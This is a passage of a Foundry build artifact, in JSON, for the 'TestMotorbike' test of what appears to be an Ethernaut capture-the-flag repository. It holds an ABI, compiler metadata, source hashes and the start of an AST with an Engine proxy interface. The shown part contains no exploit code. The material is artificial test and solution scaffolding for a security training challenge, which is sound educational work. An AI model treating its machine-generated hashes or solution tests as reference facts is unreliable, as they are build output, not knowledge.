payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"done"},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Motorbike.t.sol":"TestMotorbike"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Motorbike.t.sol":{"keccak256":"0xc84829fa103ef079c8c8c3262c8d5d4e30e9d3ef0659fd742cbd6254ba8279c6","urls":["bzz-raw://7ffa98903dd665a2dc8c0b37ef3166f3e2d4aacebf1d117f0bbef1e87f28a6f9","dweb:/ipfs/QmUrN3ziT2BFwEmwx1hMHhgXjvT6cRxYqLPuy9fVKTg5c7"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Motorbike.t.sol","id":62795,"exportedSymbols":{"DummyFactory":[52145],"Engine":[62594],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestMotorbike":[62794],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2474:139","nodes":[{"id":62574,"nodeType":"PragmaDirective","src":"32:23:139","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":62575,"nodeType":"ImportDirective","src":"57:28:139","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":62577,"nodeType":"ImportDirective","src":"86:43:139","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":62576,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62579,"nodeType":"ImportDirective","src":"131:57:139","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":62578,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62581,"nodeType":"ImportDirective","src":"189:48:139","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":62580,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62583,"nodeType":"ImportDirective","src":"238:44:139","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":62795,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":62582,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:139","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":62594,"nodeType":"ContractDefinition","src":"284:127:139","nodes":[{"id":62586,"nodeType":"FunctionDefinition","src":"307:31:139","nodes":[],"functionSelector":"8129fc1c","implemented":false,"kind":"function","modifiers":[],"name":"initialize","nameLocation":"316:10:139","parameters":{"id":62584,"nodeType":"ParameterList","parameters":[],"src":"326:2:139"},"returnParameters":{"id":62585,"nodeType":"ParameterList","parameters":[],"src":"337:0:139"},"scope":62594,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":62593,"nodeType":"FunctionDefinition","src":"343:66:139","nodes":[],"functionSelector":"4f1ef286","implemented":false,"kind":"function","modifiers":[],"name":"upgradeToAndCall","nameLocation":"352:16:139","parameters":{"id":62591,"nodeType":"ParameterList","parameters":[{"constant":false,"id":62588,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":62593,"src":"369:7:139","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":62587,"name":"address","nodeType":"ElementaryTypeName","src":"369:7:139","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":62590,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":62593,"src":"378:12:139","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":62589,"name":"bytes","nodeType":"ElementaryTypeName","src":"378:5:139","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"368:23:139"},"returnParameters":{"id":62592,"nodeType":"ParameterList","parameters":[],"src":"408:0:139"},"scope":62594,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Engine","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[62594],"name":"Engine","nameLocation":"294:6:139","scope":62795,"usedErrors":[],"usedEvents":[]},{"id":62794,"nodeType":"ContractDefinition","src":"413:2092:139","nodes":[{"id":62601,"nodeType":"VariableDeclaration","src":"457:19:139","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"467:9:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":62600,"nodeType":"UserDefinedTypeName","pathNode":{"id":62599,"name":"Ethernaut","nameLocations":["457:9:139"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"457:9:139"},"referencedDeclaration":49101,"src":"457:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":62603,"nodeType":"VariableDeclaration","src":"482:24:139","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"498:8:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62602,"name":"address","nodeType":"ElementaryTypeName","src":"482:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62605,"nodeType":"VariableDeclaration","src":"513:21:139","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"529:5:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62604,"name":"address","nodeType":"ElementaryTypeName","src":"513:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62607,"nodeType":"VariableDeclaration","src":"540:22:139","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"556:6:139","scope":62794,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":62606,"name":"address","nodeType":"ElementaryTypeName","src":"540:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":62745,"nodeType":"FunctionDefinition","src":"749:1079:139","nodes":[],"body":{"id":62744,"nodeType":"Block","src":"773:1055:139","nodes":[],"statements":[{"assignments":[62612],"declarations":[{"constant":false,"id":62612,"mutability":"mutable","name":"users","nameLocation":"808:5:139","nodeType":"VariableDeclaration","scope":62744,"src":"783:30:139","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":62610,"name":"address","nodeType":"ElementaryTypeName","src":"783:15:139","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":62611,"nodeType":"ArrayTypeName","src":"783:17:139","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":62616,"initialValue":{"arguments":[{"hexValue":"32","id":62614,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"828:1:139","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":62613,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"816:11:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":62615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"816:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] 